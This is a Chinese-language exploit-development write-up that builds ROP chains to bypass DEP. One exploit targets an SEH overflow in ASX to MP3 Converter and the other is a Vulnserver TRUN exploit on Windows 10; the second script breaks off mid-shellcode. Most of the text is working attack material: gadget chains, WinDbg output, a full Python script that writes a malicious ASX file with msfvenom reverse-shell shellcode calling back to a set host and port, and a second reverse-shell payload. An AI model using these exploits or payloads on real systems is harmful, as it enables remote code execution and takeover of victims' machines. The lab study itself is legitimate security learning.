0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
#[---INFO:gadgets_to_set_edi:---]
0x1001a514, # POP EDI # RETN [MSA2Mfilter03.dll]
0x1002a602, # RETN (ROP NOP) [MSA2Mfilter03.dll]
#[---INFO:gadgets_to_set_esi:---]
0x100218a9, # POP ESI # RETN [MSA2Mfilter03.dll]
0x1002ab52, # JMP [EAX] [MSA2Mfilter03.dll]
0x1002f9ed, # POP EAX # RETN [MSA2Mfilter03.dll]
0x1005d060, # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]
#[---INFO:pushad:---]
0x10014720, # PUSHAD # RETN [MSA2Mfilter03.dll]
#[---INFO:extras:---]
0x100371f5, # ptr to 'call esp' [MSA2Mfilter03.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

注意看,里面说没有找到设置EDXROP Gadgets。这里在构造设置EDXROP Gadgets的时候,因为牵涉到EBX,需要将设置EBX值的ROP Gadgets放到设置EDXROP Gadgets后面去。来看看我构造的设置EDXROP Gadget

1
2
3
4
5
6
7
8
9
10
11
12
#[---INFO:gadgets_to_set_edx:---]
0x100319c0, # POP EDX # RETN
0x80808080, # First value to be added
0x1001505a, # POP EBX # RETN
0x7f7f8f80, # Second value to be added
0x10029f3e, # ADD EDX,EBX # POP EBX # RETN 0x10
0xdeadbeaf,
0x10018487, # POP ECX # RETN [MSA2Mfilter03.dll]
0x41414141,
0x41414141,
0x41414141,
0x41414141,

因为RETN 0x10指令的存在,这里需要把设置ECX的其中一条ROP Gadget放到设置EDXROP Gadgets中间。

修改之后的ROP Gadgets如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_ebp:---]
0x100501df, # POP EBP # RETN [MSA2Mfilter03.dll]
0x100501df, # skip 4 bytes [MSA2Mfilter03.dll]
#[---INFO:gadgets_to_set_edx:---]
0x100319c0, # POP EDX # RETN
0x80808080, # First value to be added
0x1001505a, # POP EBX # RETN
0x7f7f8f80, # Second value to be added
0x10029f3e, # ADD EDX,EBX # POP EBX # RETN 0x10
0xdeadbeaf,
0x10018487, # POP ECX # RETN [MSA2Mfilter03.dll]
0x41414141,
0x41414141,
0x41414141,
0x41414141,
# 0x00000000, # [-] Unable to find gadget to put 00001000 into edx
#[---INFO:gadgets_to_set_ecx:---]
0xffffffff, #
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x1001505a, # POP EBX # RETN [MSA2Mfilter03.dll]
0xffffffff, #
0x100319d3, # INC EBX # FPATAN # RETN [MSA2Mfilter03.dll]
0x100319d3, # INC EBX # FPATAN # RETN [MSA2Mfilter03.dll]
#[---INFO:gadgets_to_set_edi:---]
0x100290a8, # POP EDI # RETN [MSA2Mfilter03.dll]
0x1002a602, # RETN (ROP NOP) [MSA2Mfilter03.dll]
#[---INFO:gadgets_to_set_esi:---]
0x100217e1, # POP ESI # RETN [MSA2Mfilter03.dll]
0x1002ab52, # JMP [EAX] [MSA2Mfilter03.dll]
0x1002ca2d, # POP EAX # RETN [MSA2Mfilter03.dll]
0x1005d060, # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]
#[---INFO:pushad:---]
0x10014720, # PUSHAD # RETN [MSA2Mfilter03.dll]
#[---INFO:extras:---]
0x100371f5, # ptr to 'call esp' [MSA2Mfilter03.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

小知识点:RETN操作:先EIP=ESP,然后ESP=ESP+4RETN N操作:先EIP=ESP,然后ESP=ESP+4+N

ROP Gadgets构造完成之后,现在就是如何让SEH Handler执行的时候,能够跳转到ROP Gadgets的第一条指令,这里一定要跳转到ROP Gadgets的第一条指令,前面不能加\x90进行填充,这里和shellcode之前的\x90填充不一样,这里因为有RETN指令,如果用\x90填充,会把\x90\x90\x90\x90设置为EIP的值,而这会指向一个无效的地址。shellcode之前的\x90填充,因为使用的JMP ESP指令,就算跳转到\x90所在区域,并不会把\x90\x90\x90\x90设置为EIP的值,EIP的值指向\x90\x90\x90\x90,只会不断的跳过这些\x90空指令,直到遇到shellcode第一条指令。

暂时设置SEH Handler的值为\xcc\xcc\xcc\xcc,然后重新运行,当溢出发生的时候,来看一下此刻ROP ChainESP之间的距离:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
(1c78.1948): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\Mini-stream\ASX to MP3 Converter\ASX2MP3Converter.exe
eax=02816040 ebx=90909090 ecx=00001102 edx=00000001 esi=90909090 edi=02816040
eip=00430402 esp=000f1254 ebp=02816040 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202
ASX2MP3Converter+0x30402:
00430402 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
0:000> !teb
TEB at 0026e000
ExceptionList: 000fbca8
StackBase: 00150000
StackLimit: 000e0000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 0026e000
EnvironmentPointer: 00000000
ClientId: 00001c78 . 00001948
RpcHandle: 00000000
Tls Storage: 063ba458
PEB Address: 0026d000
LastErrorValue: 206
LastStatusValue: c0000034
Count Owned Locks: 0
HardErrorMode: 0
0:000> s -d 000e0000 00150000 100501df
00109d00 100501df 100501df 100319c0 80808080 ................
00109d04 100501df 100319c0 80808080 1001505a ............ZP..
0:000> ? 00109d00 - esp
Evaluate expression: 101036 = 00018aac

可以看到两者之间的距离在18aach,现在需要找到能够跳转大于等于18aachROP Gadget来替换SEH Handler中的值。使用如下命令:

1
!py mona stackpivot -n -m MSA2Mfilter03.dll -distance 101036 -cpb '\x00\x09\x0a'

seh

最终的结果会保存到stackpivot.txt文件里面。来看一下文件里面的部分内容:

seh

这里选择的0x1001f35f地址所在的ROP Gadget。但是这里跳转了19000h,会跳到ROP Chain里面去,我们需要在ROP Chain前面增加一些\x90,让ESP正好能够指向ROP Chain的第一条指令。具体的值需要不断的调试才能确定,主要是因为添加的\x90也会占用空间,会让ESPROP Chain之间的距离变长。最终得到的\x90长度为57424。这里我还考虑了一下,这个值会不会让最终的PAYLOAD指到栈空间以外的地方。验证了一下:

seh

空间足够大,没问题。

最终的利用代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
#!/usr/bin/python3
import struct


total_size = 50000
filename="exploit.asx"

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.91.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00\x09\x0a'
shellcode = b""
shellcode += b"\xda\xd6\xbb\x78\xef\x7a\x2d\xd9\x74\x24\xf4"
shellcode += b"\x5a\x31\xc9\xb1\x52\x83\xea\xfc\x31\x5a\x13"
shellcode += b"\x03\x22\xfc\x98\xd8\x2e\xea\xdf\x23\xce\xeb"
shellcode += b"\xbf\xaa\x2b\xda\xff\xc9\x38\x4d\x30\x99\x6c"
shellcode += b"\x62\xbb\xcf\x84\xf1\xc9\xc7\xab\xb2\x64\x3e"
shellcode += b"\x82\x43\xd4\x02\x85\xc7\x27\x57\x65\xf9\xe7"
shellcode += b"\xaa\x64\x3e\x15\x46\x34\x97\x51\xf5\xa8\x9c"
shellcode += b"\x2c\xc6\x43\xee\xa1\x4e\xb0\xa7\xc0\x7f\x67"
shellcode += b"\xb3\x9a\x5f\x86\x10\x97\xe9\x90\x75\x92\xa0"
shellcode += b"\x2b\x4d\x68\x33\xfd\x9f\x91\x98\xc0\x2f\x60"
shellcode += b"\xe0\x05\x97\x9b\x97\x7f\xeb\x26\xa0\x44\x91"
shellcode += b"\xfc\x25\x5e\x31\x76\x9d\xba\xc3\x5b\x78\x49"
shellcode += b"\xcf\x10\x0e\x15\xcc\xa7\xc3\x2e\xe8\x2c\xe2"
shellcode += b"\xe0\x78\x76\xc1\x24\x20\x2c\x68\x7d\x8c\x83"
shellcode += b"\x95\x9d\x6f\x7b\x30\xd6\x82\x68\x49\xb5\xca"
shellcode += b"\x5d\x60\x45\x0b\xca\xf3\x36\x39\x55\xa8\xd0"
shellcode += b"\x71\x1e\x76\x27\x75\x35\xce\xb7\x88\xb6\x2f"
shellcode += b"\x9e\x4e\xe2\x7f\x88\x67\x8b\xeb\x48\x87\x5e"
shellcode += b"\xbb\x18\x27\x31\x7c\xc8\x87\xe1\x14\x02\x08"
shellcode += b"\xdd\x05\x2d\xc2\x76\xaf\xd4\x85\xb8\x98\xdb"
shellcode += b"\xdc\x51\xdb\xe3\xcf\xfd\x52\x05\x85\xed\x32"
shellcode += b"\x9e\x32\x97\x1e\x54\xa2\x58\xb5\x11\xe4\xd3"
shellcode += b"\x3a\xe6\xab\x13\x36\xf4\x5c\xd4\x0d\xa6\xcb"
shellcode += b"\xeb\xbb\xce\x90\x7e\x20\x0e\xde\x62\xff\x59"
shellcode += b"\xb7\x55\xf6\x0f\x25\xcf\xa0\x2d\xb4\x89\x8b"
shellcode += b"\xf5\x63\x6a\x15\xf4\xe6\xd6\x31\xe6\x3e\xd6"
shellcode += b"\x7d\x52\xef\x81\x2b\x0c\x49\x78\x9a\xe6\x03"
shellcode += b"\xd7\x74\x6e\xd5\x1b\x47\xe8\xda\x71\x31\x14"
shellcode += b"\x6a\x2c\x04\x2b\x43\xb8\x80\x54\xb9\x58\x6e"
shellcode += b"\x8f\x79\x78\x8d\x05\x74\x11\x08\xcc\x35\x7c"
shellcode += b"\xab\x3b\x79\x79\x28\xc9\x02\x7e\x30\xb8\x07"
shellcode += b"\x3a\xf6\x51\x7a\x53\x93\x55\x29\x54\xb6"


def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_ebp:---]
0x100501df, # POP EBP # RETN [MSA2Mfilter03.dll]
0x100501df, # skip 4 bytes [MSA2Mfilter03.dll]
#[---INFO:gadgets_to_set_edx:---]
0x100319c0, # POP EDX # RETN
0x80808080, # First value to be added
0x1001505a, # POP EBX # RETN
0x7f7f8f80, # Second value to be added
0x10029f3e, # ADD EDX,EBX # POP EBX # RETN 0x10
0xdeadbeaf,
0x10018487, # POP ECX # RETN [MSA2Mfilter03.dll]
0x41414141,
0x41414141,
0x41414141,
0x41414141,
# 0x00000000, # [-] Unable to find gadget to put 00001000 into edx
#[---INFO:gadgets_to_set_ecx:---]
0xffffffff, #
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
0x10031d7e, # INC ECX # AND EAX,8 # RETN [MSA2Mfilter03.dll]
#[---INFO:gadgets_to_set_ebx:---]
0x1001505a, # POP EBX # RETN [MSA2Mfilter03.dll]
0xffffffff, #
0x100319d3, # INC EBX # FPATAN # RETN [MSA2Mfilter03.dll]
0x100319d3, # INC EBX # FPATAN # RETN [MSA2Mfilter03.dll]
#[---INFO:gadgets_to_set_edi:---]
0x100290a8, # POP EDI # RETN [MSA2Mfilter03.dll]
0x1002a602, # RETN (ROP NOP) [MSA2Mfilter03.dll]
#[---INFO:gadgets_to_set_esi:---]
0x100217e1, # POP ESI # RETN [MSA2Mfilter03.dll]
0x1002ab52, # JMP [EAX] [MSA2Mfilter03.dll]
0x1002ca2d, # POP EAX # RETN [MSA2Mfilter03.dll]
0x1005d060, # ptr to &VirtualAlloc() [IAT MSA2Mfilter03.dll]
#[---INFO:pushad:---]
0x10014720, # PUSHAD # RETN [MSA2Mfilter03.dll]
#[---INFO:extras:---]
0x100371f5, # ptr to 'call esp' [MSA2Mfilter03.dll]
]
return b''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()



junk1 = b"A"*43474 # seh offset
#seh = b'\xcc\xcc\xcc\xcc'
seh = struct.pack('<I',0x1001f35f) # ADD ESP,19000 # RETN
nops1 = b'\x90'*(58760+32-1368)
nops2 = b'\x90'*32
junk2 = b"C"*1000
payload = junk1+seh+nops1+rop_chain+nops2+shellcode+junk2
with open(filename,"wb") as filehander:
filehander.write(payload)

成功反弹shell

seh

之前写过两篇TRUN bypas DEP的文章,最终都选择了Win7作为实验的操作系统。这里,选择Win10 21H2 x32作为实验的操作系统。

最简单的办法,直接mona自动生成ROP Gadgets。但是,有一个问题,mona会去选择开启ASLRDLL中的ROP Gadget,也就意味着系统重启之后,ROP Gadgets就会变得不可用。

windbgmona插件生成的ROP Gadgets,和之前在immunity debugger中使用mona产生的ROP Gadgets略有不同,并且产生速度也比较慢,因为我的windbg安装的位置,如果启动windbg不用管理员,后续mona生成的几个txt文件都没法保存。单纯在essfunc.dll中是找不到符合要求的ROP Gadgets,需要使用如下命令:

1
!mona rop -m *.dll -n

retn指令的地址,查找方式:

1
!mona find -type instr -s "retn" -p 10 -o

看一下mona自动生成的POP Gadgets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def create_rop_chain():

# rop chain generated with mona.py - www.corelan.be
rop_gadgets = [
#[---INFO:gadgets_to_set_ebp:---]
0x76ce19d7, # POP EBP # RETN [msvcrt.dll] ** REBASED ** ASLR
0x76ce19d7, # skip 4 bytes [msvcrt.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ebx:---]
0x76cd742b, # POP EAX # RETN [msvcrt.dll] ** REBASED ** ASLR
0xfffffdff, # Value to negate, will become 0x00000201
0x775e3798, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x764d5599, # XCHG EAX,EBX # RETN [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_edx:---]
0x75c63882, # POP EAX # RETN [KERNELBASE.dll] ** REBASED ** ASLR
0xffffffc0, # Value to negate, will become 0x00000040
0x775e236e, # NEG EAX # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x7651321c, # XCHG EAX,EDX # RETN [RPCRT4.dll] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_ecx:---]
0x76cb9233, # POP ECX # RETN [msvcrt.dll] ** REBASED ** ASLR
0x62504e77, # &Writable location [essfunc.dll]
#[---INFO:gadgets_to_set_edi:---]
0x777a26e4, # POP EDI # RETN [ntdll.dll] ** REBASED ** ASLR
0x775e379a, # RETN (ROP NOP) [KERNEL32.DLL] ** REBASED ** ASLR
#[---INFO:gadgets_to_set_esi:---]
0x775b2ed8, # POP ESI # RETN [KERNEL32.DLL] ** REBASED ** ASLR
0x75c1d8b2, # JMP [EAX] [KERNELBASE.dll]
0x7650841c, # POP EAX # RETN [RPCRT4.dll] ** REBASED ** ASLR
0x6250609c, # ptr to &VirtualProtect() [IAT essfunc.dll]
#[---INFO:pushad:---]
0x75cd8144, # PUSHAD # RETN [KERNELBASE.dll] ** REBASED ** ASLR
#[---INFO:extras:---]
0x625011af, # ptr to 'jmp esp' [essfunc.dll]
]
return ''.join(struct.pack('<I', _) for _ in rop_gadgets)

rop_chain = create_rop_chain()

最终的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python3
"""
Vulnserver TRUN exploit (ROP, DEP bypass).

Vulnerable Software: Vulnserver
Version: 1.00
Exploit Author: Andres Roldan
Tested On: Windows 10 20H2
Writeup: https://fluidattacks.com/blog/vulnserver-trun-rop/
"""

import socket
import struct

HOST = '192.168.13.203'
PORT = 9999

#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.13.137 LPORT=4444 EXITFUNC=thread -f python -v shellcode -b '\x00'
shellcode = b""
shellcode += b"\xbd\x77\x28\x83\xaa\xdb\xd9\xd9\x74\x24\xf4"
shellcode += b"\x58\x31\xc9\xb1\x52\x31\x68\x12\x03\x68\x12"
shellcode += b"\x83\x9f\xd4\x61\x5f\xa3\xcd\xe4\xa0\x5b\x0e"
shellcode += b"\x89\x29\xbe\x3f\x89\x4e\xcb\x10\x39\x04\x99"
shellcode += b"\x9c\xb2\x48\x09\x16\xb6\x44\x3e\x9f\x7d\xb3"
shellcode += b"\x71\x20\x2d\x87\x10\xa2\x2c\xd4\xf2\x9b\xfe"
shellcode += b"\x29\xf3\xdc\xe3\xc0\xa1\xb5\x68\x76\x55\xb1"
shellcode += b"\x25\x4b\xde\x89\xa8\xcb\x03\x59\xca\xfa\x92"
shellcode += b"\xd1\x95\xdc\x15\x35\xae\x54\x0d\x5a\x8b\x2f"
